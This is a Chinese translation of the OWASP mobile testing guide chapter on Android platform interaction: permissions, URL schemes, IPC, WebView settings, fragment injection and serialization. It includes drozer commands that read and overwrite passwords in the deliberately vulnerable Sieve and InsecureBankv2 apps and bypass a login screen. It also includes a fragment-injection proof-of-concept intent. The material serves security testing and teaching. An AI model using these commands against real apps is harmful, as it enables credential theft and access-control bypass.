渗透测试-Android平台API

翻译自:https://github.com/OWASP/owasp-mstg/blob/master/Document/0x05h-Testing-Platform-Interaction.md#testing-webview-protocol-handlers

测试APP权限

overview

每个Android app在一个进程沙箱中活动,app必须明确申请沙箱外的资源和数据。访问请求通过声明他们需要的使用系统数据和特征的权限。基于数据和特征的敏感关键程度,系统会自动授权或者询问用户批准请求。

基于提供的保护程度,权限分为四个种类:

  • Normal:对其他应用、用户、系统风险小,在安装应用时授权。是默认的权限。
  • Dangrous:这类权限往往掌控用户数据和以影响用户的方式控制设备。这类权限可能不会在安装时被授权,app是否能获得权限会遵循用户的决定。
  • Signature:只有在请求app与申明这项权限的app签名相同时,才能被授予。如果签名匹配,自动授予权限。
  • SystemOrSignature:只授权给嵌入系统镜像中的应用程序,或者与声明权限相同的应用程序签名一致。

自定义权限

Android允许app向其他app暴露组件,定制权限在app访问暴露组件时需要。可以在manifest.xml文件中使用两个强制属性创建标签:

  • android:name
  • android:protectionLevel

依据最小权限原则,创建自定义权限是非常关键的:权限应该按照目的,用有意义和精确的标签和描述显式定义。

下面是一个自定义权限START_MAIN_ACTIVITY的例子,在启动TEST_ACTIVITY活动时需要。

<permission android:name="com.example.myapp.permission.START_MAIN_ACTIVITY"
        android:label="Start Activity in myapp"
        android:description="Allow the app to launch the activity of myapp app, any app you grant this permission will be able to launch main activity by myapp app."
        android:protectionLevel="normal" />

<activity android:name="TEST_ACTIVITY"
    android:permission="com.example.myapp.permission.START_MAIN_ACTIVITY">
    <intent-filter>
        <action android:name="android.intent.action.MAIN" />
        <category android:name="android.intent.category.LAUNCHER"/>
     </intent-filter>
</activity>

任何声明了START_MAIN_ACTIVITY权限的app都可以启动这个活动,通过user-permission标签请求:

<uses-permission android:name="com.example.myapp.permission.START_MAIN_ACTIVITY"/>

静态分析

Android 权限

检查是否需要这些权限,去除不必要的权限。

仔细检查权限,与开发者劝人每一个权限的目的,去除不必要的权限。

除了分析AndroidManifest.xml文件外,可以使用工具aapt:

$ aapt d permissions com.owasp.mstg.myapp
uses-permission: android.permission.WRITE_CONTACTS
uses-permission: android.permission.CHANGE_CONFIGURATION
uses-permission: android.permission.SYSTEM_ALERT_WINDOW
uses-permission: android.permission.INTERNAL_SYSTEM_WINDOW

定制权限

除了通过应用程序清单文件强制执行定制权限之外,还可以通过编程方式检查权限。但是,这是不推荐的,因为它更容易出错,并且可以更容易地绕过它,例如,运行时插装。当看到像下面的代码片段这样的代码时,请确保在manifest文件中强制执行相同的权限。

int canProcess = checkCallingOrSelfPermission("com.example.perm.READ_INCOMING_MSG");
if (canProcess != PERMISSION_GRANTED)
throw new SecurityException();

动态分析

已经安装的应用的权限可以由drozer获得

dz> run app.package.info  -a com.android.mms.service
Package: com.android.mms.service
  Application Label: MmsService
  Process Name: com.android.phone
  Version: 6.0.1
  Data Directory: /data/user/0/com.android.mms.service
  APK Path: /system/priv-app/MmsService/MmsService.apk
  UID: 1001
  GID: [2001, 3002, 3003, 3001]
  Shared Libraries: null
  Shared User ID: android.uid.phone
  Uses Permissions:
  - android.permission.RECEIVE_BOOT_COMPLETED
  - android.permission.READ_SMS
  - android.permission.WRITE_SMS
  - android.permission.BROADCAST_WAP_PUSH
  - android.permission.BIND_CARRIER_SERVICES
  - android.permission.BIND_CARRIER_MESSAGING_SERVICE
  - android.permission.INTERACT_ACROSS_USERS
  Defines Permissions:
  - None

测试自定义url

Android允许app之间通过自定义URL方案交流,这些自定义的URL允许其他应用在提供自定义URL方案的应用中执行特定的行为。自定义的URI能从任何方案的前缀开始,他们一般定义动作在应用和参数中执行。

考虑如下设计的例子:sms://compose/to=your.boss@company.com&message=I%20QUIT!&sendImmediately=true,当一个受害者在手机上点击这个链接时,有漏洞的SMS应用会发送包含恶意内容的短信。这可能造成:

  • 钱财丢失
  • 手机号码暴露

一旦一个URL方案被定义,多个app能注册所有可能的方案。对于每个应用,每个这种自定义URL方案必须遍历,执行的行为必须测试。

URL方案可以用于深度连接,这是一种通过连接启动原生移动应用的广泛而便捷的方法,他本身是没有风险。

然而,通过URL方案的数据必须验证。

静态分析

检查自定义URL方案是否被定义。在androidmanifest.xml文件中的intentfilter元素中。

<activity android:name=".MyUriActivity">
  <intent-filter>
      <action android:name="android.intent.action.VIEW" />
      <category android:name="android.intent.category.DEFAULT" />
      <category android:name="android.intent.category.BROWSABLE" />
      <data android:scheme="myapp" android:host="path" />
  </intent-filter>
</activity>

这个例子中方案叫做myapp://。这个category允许URI用浏览器打开。

数据能通过新的方案传播,比如,下列URI:myapp://path/to/what/i/want?keyOne=valueOne&keyTwo=valueTwo,通过以下代码恢复数据:

Intent intent = getIntent();
if (Intent.ACTION_VIEW.equals(intent.getAction())) {
  Uri uri = intent.getData();
  String valueOne = uri.getQueryParameter("keyOne");
  String valueTwo = uri.getQueryParameter("keyTwo");
}

动态分析

通过Drozer模块scanner.activity.browsable遍历app中的URL方案:

dz> run scanner.activity.browsable -a com.google.android.apps.messaging
Package: com.google.android.apps.messaging
  Invocable URIs:
    sms://
    mms://
  Classes:
    com.google.android.apps.messaging.ui.conversation.LaunchConversationActivity

可以使用Drozer模块中app.activity.start调用自定义URL模型

dz> run app.activity.start  --action android.intent.action.VIEW --data-uri "sms://0123456789"

调用自定义方案(myapp://someaction/?var0=string&var1=string)模块可能被用来发送数据给app:

Intent intent = getIntent();
if (Intent.ACTION_VIEW.equals(intent.getAction())) {  
    Uri uri = intent.getData();  
    String valueOne = uri.getQueryParameter("var0");  
    String valueTwo = uri.getQueryParameter("var1");
}

测试通过IPC暴露

在实现移动应用程序的过程中,开发人员可以应用传统的IPC技术(例如使用共享文件或网络套接字)。应该使用移动应用程序平台提供的IPC系统功能,因为它比传统技术要成熟得多。使用没有安全性的IPC机制可能会导致应用程序泄漏或暴露敏感数据。

下面是一个可能公开敏感数据的Android IPC机制列表:

静态分析

所有的组件必须在AndroidManifest.xml中声明,只有Broadcast receivers可以动态创建。

暴露的组件可以被其他应用访问,暴露组件有两种方式:

  • 导出标签设置android:exported="ture"
  • 定义在组件中定义<intent-filter>就会默认导出标签为true。

如果要限制其他应用的访问,在组件中声明了android:permission,设置合适的android:protectionLever。如果在service中声明了android:permission,其他app想要访问必须在manifest文件中声明一个相对应的<user-permission>

一旦识别了一个IPC列表,查看源代码,检查当机制使用时,敏感数据是否泄漏。

下面是两个例子:

Activity

检查AndroidManifest

检查源代码

通过检查PWList.javaacitivty,可以看到它提供了列举关键字、添加、删除选项等。如果直接调用,就可以绕过LoginActivity。更多可以在动态分析中找到。

Services

检查Manifest文件

在"Sieve"app中,有两个导出的service:

<service android:exported="true" android:name=".AuthService" android:process=":remote"/>
<service android:exported="true" android:name=".CryptoService" android:process=":remote"/>

检查源代码

搜索源代码的字符串,比如sendBroadcast,sendOrderedBroadcast, 和 sendStickyBroadcast. 确保应用没有发送任何敏感数据。

如果一个intent只在应用内部广播和接收,应该使用LocalBroadcastManager限制其他应用接收广播的消息。这减少了信息泄露的风险。

为了更好的理解接受者要做什么,我们必须深入静态分析类 android.content.BroadcastReceiverContext.registerReceiver (动态创建接受者) 的使用。

下面提取目标的源代码,显示了广播接收者触发包括用户解密口令的SMS的转发。

public class MyBroadCastReceiver extends BroadcastReceiver {
  String usernameBase64ByteString;
  public static final String MYPREFS = "mySharedPreferences";

  @Override
  public void onReceive(Context context, Intent intent) {
    // TODO Auto-generated method stub

        String phn = intent.getStringExtra("phonenumber");
        String newpass = intent.getStringExtra("newpass");

    if (phn != null) {
      try {
                SharedPreferences settings = context.getSharedPreferences(MYPREFS, Context.MODE_WORLD_READABLE);
                final String username = settings.getString("EncryptedUsername", null);
                byte[] usernameBase64Byte = Base64.decode(username, Base64.DEFAULT);
                usernameBase64ByteString = new String(usernameBase64Byte, "UTF-8");
                final String password = settings.getString("superSecurePassword", null);
                CryptoClass crypt = new CryptoClass();
                String decryptedPassword = crypt.aesDeccryptedString(password);
                String textPhoneno = phn.toString();
                String textMessage = "Updated Password from: "+decryptedPassword+" to: "+newpass;
                SmsManager smsManager = SmsManager.getDefault();
                System.out.println("For the changepassword - phonenumber: "+textPhoneno+" password is: "+textMessage);
smsManager.sendTextMessage(textPhoneno, null, textMessage, null, null);

广播接受者应该使用android:permission属性,否则,其他应用能调用他们。可以使用Context.sendBroadcast(intent, receiverPermission); 明确一个接收者必须拥有什么权限来获取广播。

也可以设置一个显式应用包名限制处理这个intent的组件。如果属性默认,所有应用的组件都可以访问。如果不空,intent可以匹配给定应用包的组件。

动态分析

用Drozer遍历组件,模块app.package.attacksurface:

dz> run app.package.attacksurface com.mwr.example.sieve
Attack Surface:
  3 activities exported
  0 broadcast receivers exported
  2 content providers exported
  2 services exported
    is debuggable

content providers

Sieve应用包含一个由漏洞的content provider,列举暴露的内容提供器:

dz> run app.provider.finduri com.mwr.example.sieve
Scanning com.mwr.example.sieve...
content://com.mwr.example.sieve.DBContentProvider/
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.DBContentProvider
content://com.mwr.example.sieve.DBContentProvider/Passwords/
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.FileBackupProvider
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Keys

"password"和"key"命名的内容提供器是信息泄露最可疑的。

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys
Permission Denial: reading com.mwr.example.sieve.DBContentProvider uri content://com.mwr.example.sieve.DBContentProvider/Keys from pid=4268, uid=10054 requires com.mwr.example.sieve.READ_KEYS, or grantUriPermission()

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/
| Password          | pin  |
| SuperPassword1234 | 1234 |

这个内容提供器不需要访问权限:

dz> run app.provider.update content://com.mwr.example.sieve.DBContentProvider/Keys/ --selection "pin=1234" --string  Password "newpassword"
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/
| Password    | pin  |
| newpassword | 1234 |

Actiity

用模块app.activity.info列举暴露的activity。明确目标包用-a或者忽略这个选项以设备上的所有app为目标

dz> run app.activity.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
  com.mwr.example.sieve.FileSelectActivity
    Permission: null
  com.mwr.example.sieve.MainLoginActivity
    Permission: null
  com.mwr.example.sieve.PWList
    Permission: null  

遍历Sieve的所有活动,com.mwr.example.sieve.PWList不需要任何权限导出。可以使用模块 app.activity.start 启动这个activity。

dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList

因为这个活动可以直接调用,所以用登录保护的管理就会被绕过。

service

遍历模块app.service.info:

dz> run app.service.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
  com.mwr.example.sieve.AuthService
    Permission: null
  com.mwr.example.sieve.CryptoService
    Permission: null

先使用静态分析来识别需要的输入,然后与service通信。

app.service.send 与service通信,更改目标应用中存储的密码:

dz> run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg  6345 7452 1 --extra string com.mwr.example.sieve.PASSWORD "abcdabcdabcdabcd" --bundle-as-obj
Got a reply from com.mwr.example.sieve/com.mwr.example.sieve.AuthService:
  what: 4
  arg1: 42
  arg2: 0
  Empty

broadcast receivers

遍历模块 app.broadcast.info,目标用-a参数:

dz> run app.broadcast.info -a com.android.insecurebankv2
Package: com.android.insecurebankv2
  com.android.insecurebankv2.MyBroadCastReceiver
    Permission: null

用Drozer模块app.broadcast.send ,我们可以定制一个intent来触发广播并发送密码给手机号码

dz>  run app.broadcast.send --action theBroadcast --extra string phonenumber 07123456789 --extra string newpass 12345

嗅探intent

如果广播intents没有设置需要的权限或者明确目的包,这个intent会被设备上的所有device监视。

注:AcitivityManageService,简称AMS的intent分发机制,只把intent发送给匹配的intent-filter

登记一个broadcast receiver嗅探itent,使用Drozer模块 app.broadcast.sniff ,用参数--action 表示监视的动作:

dz> run app.broadcast.sniff  --action theBroadcast
[*] Broadcast receiver registered to sniff matching intents
[*] Output is updated once a second. Press Control+C to exit.

Action: theBroadcast
Raw: Intent { act=theBroadcast flg=0x10 (has extras) }
Extra: phonenumber=07123456789 (java.lang.String)
Extra: newpass=12345 (java.lang.String)

测试WebView中的JavaScript执行

overview

JavaScript可以通过反射、存储或者基于DOM 的xss注入到web应用中。移动应用在沙箱环境中执行,并且在本地实现时不会有这种漏洞。尽管如此,webview可能允许网页浏览作为原生应用的一部分。每个应有有自己的Webview缓存,它不会与原生浏览器或者其他应用共享。在Android上,webview使用webkit渲染引擎来显示网页,但是页面被精简到最小的功能。例如,页面没有地址栏。如果WebView的实现太过于宽松,并且允许使用JavaScript,那么他就可以用来攻击应用程序并访问它的数据。

静态分析

检查源代码中的WebView类使用和执行。创建和使用一个WebView,必须创建一个WebView实例。

WebView webview = new WebView(this);
setContentView(webview);
webview.loadUrl("https://www.owasp.org/");

JavaScript必须显示地确认。查找方法 setJavaScriptEnabled 检查JavaScript的激活。

webview.getSettings().setJavaScriptEnabled(true);

这使得WebView解释JavaScript。还有在有必要的时候用它来减少app的攻击面。如果JavaScript是必须的,你应该确定:

  • 断电的通信始终依赖于HTTPS(或者其他允许加密的协议)来保护HTML和JavaScript在传输过程中不被篡改。
  • JavaScript和HTML在本地加载时,是来自app数据目录或者可信web服务器

当app关闭时,去除所有JavaScript资源代码和本地存储数据,用clearCache()清除WebView的cache。

在Android 4.4以下版本的设备上运行时,会使用一个由一些安全问题的WebKit。作为一种变通方法,该应用必须确认,如果应用在这些设备上运行,WebView对象只显示可信内容。

动态检测

动态检测依赖于操作环节,这是一些向WebView中注入JavaScript的方法:

  • 在端点有存储xxs漏洞,当用户导航到易受攻击的功能时,该漏洞将被发送到移动应用的WebView。
  • 攻击者获得中间人位置,通过注入JavaScript篡改应答。
  • 恶意应用篡改webView加载的本地文件

要处理这些中间向量,检查:

  • 端点提供的所有功能应该避免存储xss
  • 只有在数据目录的文件能被WebView呈现
  • HTTP必须根据最佳实践实现HTTPS通信,以避免中间人攻击。这以为着:
    • 所有通信通过TLS加密
    • 正确检测所有证书(参加测试用例“测试端点识别验证”)
    • 证书应该被固定(参见“测试定制证书存储和SSL固定”)

测试WebView协议处理

overview

一些默认URL方案 可用,他们可以在WebView中触发,通过以下例子:

  • http(s)://
  • file://
  • tel://

WebView能从一个端点加载远程内容,但是他们也能从app数据目录和外部存储加载。如果本地内容加载,用户不应该影响文件名或者用来加载的路径,用户应该不能编辑加载文件。

静态分析

检查使用WebView的源代码,WebView控制资源访问设置如下:

  • setAllowContentAccess :允许WebView从安装在系统中的content provider加载内容,默认启用。
  • setAllowFileAccess:在WebView中启用或禁止文件访问。文件访问默认开启,注意这知识启用和禁止访问文件系统。asset和资源不熟应用,可以通过file:///android_assetfile:///android_res访问。
  • setAllowFileAccessFromFileURLs :是否允许JavaScript在文件模式URL的上下文中运行,以访问文件模式URLs中的内容。API 15 及以下默认true,API16及以上 默认false。
  • setAllowUniversalAccessFromFileURLs:是否允许JavaScript在文件模式URL的上下文中运行,以访问来自任何来源的内容。API 15 及以下默认true,API16及以上 默认false。

如果以上一个或多个方法是启用的,应该确定这些方法是否对正常的工作有必要。

如果一个WebView实例被识别,查出本地文件是否被方法loadURL() 加载。

WebView = new WebView(this);
webView.loadUrl("file:///android_asset/filename.html");

HTML文件加载的地址必须被验证。如果文件从外部存储中加载,比如,文件可以被所有人读和写。这是一种不好的做法,文件应该放在app的assets目录中。

webview.loadUrl("file:///" +
Environment.getExternalStorageDirectory().getPath() +
"filename.html");

在loadURL中指定的URL应该检查可以被操纵的动态参数;他们的操纵可能导致本地文件被包含。

如果适用的话,可以使用下面的代码片段和最佳实践来禁用协议处理程序:

// 如果攻击者能向WebView注入脚本,他们可以访问本地资源。这可以通过禁用本地文件系统访问限制这种攻击,默认是启用的。
webView.getSettings().setAllowFileAccess(false);

webView.getSettings().setAllowFileAccessFromFileURLs(false);

webView.getSettings().setAllowUniversalAccessFromFileURLs(false);

webView.getSettings().setAllowContentAccess(false);

动态检测

为了识别协议处理程序的用法,在使用该应用程序时,寻找触发电话调用的方法,以及从文件系统访问文件的方法。

检查java类是否通过WebView暴露

overview

Android为JavaScript提供一种方法addJavascriptInterface. 可以在WebView中执行调用app原生功能。

这个方法允许向WebView暴露Java Objects。当你在app中使用这种方法时,可以调用app原生方法。

在Android4.2(API 17)之前,在执行addJavascriptInterface:时发现一个漏洞 :当恶意JavaScript脚本注射到WebView中,导致远程代码执行。

这个漏洞在4.2版本中修复,访问Java类方法的授权改变。当使用addJavascriptInterface,添加@JavascriptInterface注释,java类方法只能被JavaScript访问。之前的版本,默认所有类方法都能被访问。

静态分析

检查方法是否被使用,怎么使用,攻击者能否注入恶意JavaScript

下面的例子展示addJavascriptInterface 如何用来连接java类和WebView中的JavaScript

WebView webview = new WebView(this);
WebSettings webSettings = webview.getSettings();
webSettings.setJavaScriptEnabled(true);

MSTG_ENV_008_JS_Interface jsInterface = new MSTG_ENV_008_JS_Interface(this);

myWebView.addJavascriptInterface(jsInterface, "Android");
myWebView.loadURL("http://example.com/file.html");
setContentView(myWebView);

API 17以上,使用注释JavascriptInterface 显示允许JavaScript访问Java方法。

public class MSTG_ENV_008_JS_Interface {

        Context mContext;

        /** Instantiate the interface and set the context */
        MSTG_ENV_005_JS_Interface(Context c) {
            mContext = c;
        }

        @JavascriptInterface
        public String returnString () {
            return "Secret String";
        }

        /** Show a toast from the web page */
        @JavascriptInterface
        public void showToast(String toast) {
            Toast.makeText(mContext, toast, Toast.LENGTH_SHORT).show();
        }
}

如果注释 @JavascriptInterface 在方法中定义,方法就能被JavaScript调用。

调用returnString方法获取返回值,返回值存储在参数 result

var result = window.Android.returnString();

通过访问JavaScript代码,存储型XXS或者中间人攻击,攻击者直接调用暴露的Java方法。

动态分析

写一个JavaScript payload ,注入到app文件中。注入可以通过MITM攻击或者直接修改外部存储中的文件。整个过程可以通过Drozer和weasel完成。

MWR的博客中 有完整的攻击描述。

测试Fragment注入

overview

SDK为开发者提供了一种展示Preference activity的方法,允许开发者继承和改编抽象类。

抽象类分析一个intent额外的数据域,特别是,PreferenceActivity.EXTRA_SHOW_FRAGMENT(:android:show_fragment)PreferenceActivity.EXTRA_SHOW_FRAGMENT_ARGUMENTS(:android:show_fragment_arguments)

第一个域需要包含一个Fragment 类名,第二个需要包含传递给Fragment的输入的bundle。

因为PreferenceActivity使用反射加载fragment,所以一个任意的类可能会被加载到包或Android SDK中。 加载的类在导出这个activity的应用的上下文中执行。

有了这个漏洞攻击者可以在目的应用中调用fragment,或者执行其他类的构造函数中的代码。任何在intent中传递的、不扩展Fragment的类会造成java.lang.CastException 。但是在异常抛出之前,空的构造函数会被执行,允许在类构造函数中出现的代码运行 。

为了限制这个漏洞,isValidFragment被添加到Android 4.4 KitKat(API Level 19)。允许开发者重写这些方法并且定义可能会被用到的fragment

在Android 4.4 KitKat(API Level 19)默认执行返回true,抛出异常。

静态分析

步骤:

  • 找到包minSDKVersion确定类行为
  • 找到集成PreferenceActivity的暴露组件
  • isValidFragment有没有被重写

继承的例子:

public class MyPreferences extends PreferenceActivity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

重写isValidFragment方法,只允许MyPreferenceFragment的加载:

@Override
protected boolean isValidFragment(String fragmentName)
{
return "com.fullpackage.MyPreferenceFragment".equals(fragmentName);
}

有漏洞的app和利用

MainActivity.class

public class MainActivity extends PreferenceActivity {
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
    }
}

MyFragment.class

public class MyFragment extends Fragment {
    public void onCreate (Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
    }
    public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {
        View v = inflater.inflate(R.layout.fragmentLayout, null);
        WebView myWebView = (WebView) wv.findViewById(R.id.webview);
        myWebView.getSettings().setJavaScriptEnabled(true);
        myWebView.loadUrl(this.getActivity().getIntent().getDataString());
        return v;
    }
}

利用这个漏洞,创建一个应用:

Intent i = new Intent();
i.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
i.setClassName("pt.claudio.insecurefragment","pt.claudio.insecurefragment.MainActivity");
i.putExtra(":android:show_fragment","pt.claudio.insecurefragment.MyFragment");
Intent intent = i.setData(Uri.parse("https://security.claudio.pt"));
startActivity(i);

Vulnerable AppExploit PoC App 下载

测试类持久化

overview

在Android上持久化一个对象有几种方法:

对象序列化

对象及其数据可以表示为字节序列。这是通过对象串行化在Java中完成的。串行化并不是固有的安全。它只是在.ser文件中本地存储数据的二进制格式(或表示)。只要密钥是安全存储的,就可以对hmac-序列化数据进行加密和签名。反序列化一个对象需要一个与用来序列化对象的类相同的类。在类被更改之后,ObjectInputStream无法从较老的.ser文件中创建对象。下面的例子展示了如何通过实现Serializable接口来创建可序列化的类。

import java.io.Serializable;

public class Person implements Serializable {
  private String firstName;
  private String lastName;

  public Person(String firstName, String lastName) {
    this.firstName = firstName;
    this.lastName = lastName;
    }
  //..
  //getters, setters, etc
  //..

}

现在可以通过 ObjectInputStream/ObjectOutputStream 在另一个类中读写了。

JSON

有几种方法可以将对象的内容序列化为JSON。Android附带了JSONObject和JSONArray类。也可以使用包括GSON或Jackson在内的各种各样的库。库之间的主要区别在于,它们是否使用反射来组合对象,是否支持注释,以及它们使用的内存数量。请注意,几乎所有的JSON表示都是基于字符串的,因此是不可变的。这意味着任何存储在JSON中的秘密都将更难从内存中删除。JSON本身可以存储在任何地方,例如,一个(NoSQL)数据库或一个文件。您只需要确保包含机密的任何JSON都得到了适当的保护(例如,加密/hmaced)。有关更多细节,请参阅数据存储章节。下面是一个简单的例子(来自GSON用户指南),使用GSON来编写和读取JSON。在这个例子中,bagof原语的一个实例的内容被序列化成JSON:

class BagOfPrimitives {
  private int value1 = 1;
  private String value2 = "abc";
  private transient int value3 = 3;
  BagOfPrimitives() {
    // no-args constructor
  }
}

// Serialization
BagOfPrimitives obj = new BagOfPrimitives();
Gson gson = new Gson();
String json = gson.toJson(obj);  

// ==> json is {"value1":1,"value2":"abc"}

orm

有一些库提供了直接在数据库中存储对象内容的功能,然后用数据库内容实例化对象。这被称为对象关系映射(ORM)。使用SQLite数据库的库包括 :

Realm 另一方面,领域使用自己的数据库来存储类的内容。ORM所能提供的保护数量主要取决于数据库是否被加密。有关更多细节,请参阅数据存储章节。Realm网站包含了一个很好的 example of ORM Lite.

Parcelable

可分配的是一个类的接口,它的实例可以被写入并从包裹中恢复。 包裹通常被用来包装一个类作为一个包的一部分。 下面是一个实现可分配的Android开发者文档示例:

public class MyParcelable implements Parcelable {
     private int mData;

     public int describeContents() {
         return 0;
     }

     public void writeToParcel(Parcel out, int flags) {
         out.writeInt(mData);
     }

     public static final Parcelable.Creator<MyParcelable> CREATOR
             = new Parcelable.Creator<MyParcelable>() {
         public MyParcelable createFromParcel(Parcel in) {
             return new MyParcelable(in);
         }

         public MyParcelable[] newArray(int size) {
             return new MyParcelable[size];
         }
     };

     private MyParcelable(Parcel in) {
         mData = in.readInt();
     }
 }

静态分析

如果对象持久性被用于在设备上存储敏感信息,首先要确保信息是加密的,并且是signe/hmaced。有关更多细节,请参阅数据存储和加密管理的章节。接下来,确保只有在用户经过身份验证之后才能获得解密和验证密钥。安全检查应该在正确的位置进行,就像在最佳实践中所定义的那样。

有一些通用的补救步骤,你可以一直这样做:

  1. 确保敏感数据已被加密,并在序列化/持久性之后签署。在使用数据之前评估签名或HMAC。有关密码学的章节,请参阅相关章节。
  2. 确保步骤1中使用的键不能很容易地提取。用户和/或应用程序实例应该被正确地验证/授权以获得密钥。有关更多细节,请参阅数据存储章节。
  3. 确保在被积极使用之前,要仔细验证反序列化对象中的数据(例如,不使用业务/应用程序逻辑)。

对于关注可用性的高风险应用程序,我们建议只有当序列化的类是稳定的时才使用Serializable。 其次,我们建议不要使用基于反射的持久性,因为:

  1. 攻击者可以通过基于字符串的参数找到方法的签名
  2. 攻击者可能能够操纵基于反射的步骤来执行业务逻辑。

Object Serialization

寻找字符串:

  • import java.io.Serializable
  • implements Serializable

JSON

如果您需要对抗内存转储,请确保非常敏感的信息不会以JSON格式存储,因为您不能保证使用标准库来防止反内存转储技术。 JSONObject您可以在相应的库中检查下列关键字:

  • import org.json.JSONObject;
  • import org.json.JSONArray;

GSON 查找关键字:

  • import com.google.gson
  • import com.google.gson.annotations
  • import com.google.gson.reflect
  • import com.google.gson.stream
  • new Gson();
  • Annotations such as @Expose, @JsonAdapter, @SerializedName,@Since, and @Until

Jackson 查找关键字:

  • import com.fasterxml.jackson.core
  • import org.codehaus.jackson for the older version.

ORM

当您使用ORM库时,请确保数据存储在一个加密的数据库中,并且在存储之前,类表示是单独加密的。 有关更多细节,请参阅数据存储和加密管理的章节。 OrmLite 可以在相应的库中检查下列关键字:

  • import com.j256.*
  • import com.j256.dao
  • import com.j256.db
  • import com.j256.stmt
  • import com.j256.table\

请确保日志是禁用的。

SugarORM 关键字:

  • import com.github.satyan
  • extends SugarRecord<Type>
  • In the AndroidManifest, there will be meta-data entries with values such as DATABASE, VERSION, QUERY_LOG and DOMAIN_PACKAGE_NAME.

确保 QUERY_LOG 禁用

GreenDAO 关键字:

  • import org.greenrobot.greendao.annotation.Convert
  • import org.greenrobot.greendao.annotation.Entity
  • import org.greenrobot.greendao.annotation.Generated
  • import org.greenrobot.greendao.annotation.Id
  • import org.greenrobot.greendao.annotation.Index
  • import org.greenrobot.greendao.annotation.NotNull
  • import org.greenrobot.greendao.annotation.*
  • import org.greenrobot.greendao.database.Database
  • import org.greenrobot.greendao.query.Query

ActiveAndroid 关键字:

  • ActiveAndroid.initialize(<contextReference>);
  • import com.activeandroid.Configuration
  • import com.activeandroid.query.*

Realm 关键字:

  • import io.realm.RealmObject;
  • import io.realm.annotations.PrimaryKey;

Parcelable

当敏感信息通过包含一个可分配的包的包中存储时,请确保采取适当的安全措施。使用显式的intent,并在使用应用程序级IPC时验证适当的附加安全控制(例如,签名验证、int权限、加密)。

动态分析

有几种方法可以执行动态分析:

对于实际的持久性:使用数据存储章节中描述的技术。 对于基于反射的方法:使用xposed来hook反序列化方法,或者向序列化的对象添加不可处理的信息,以查看它们是如何处理的(例如,应用程序崩溃还是通过丰富对象可以提取额外的信息)。

Reference

翻译自:https://github.com/OWASP/owasp-mstg/blob/master/Document/0x05h-Testing-Platform-Interaction.md#testing-webview-protocol-handlers

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 204,293评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,604评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,958评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,729评论 1 277
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,719评论 5 366
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,630评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,000评论 3 397
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,665评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,909评论 1 299
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,646评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,726评论 1 330
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,400评论 4 321
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,986评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,959评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,197评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 44,996评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,481评论 2 342

推荐阅读更多精彩内容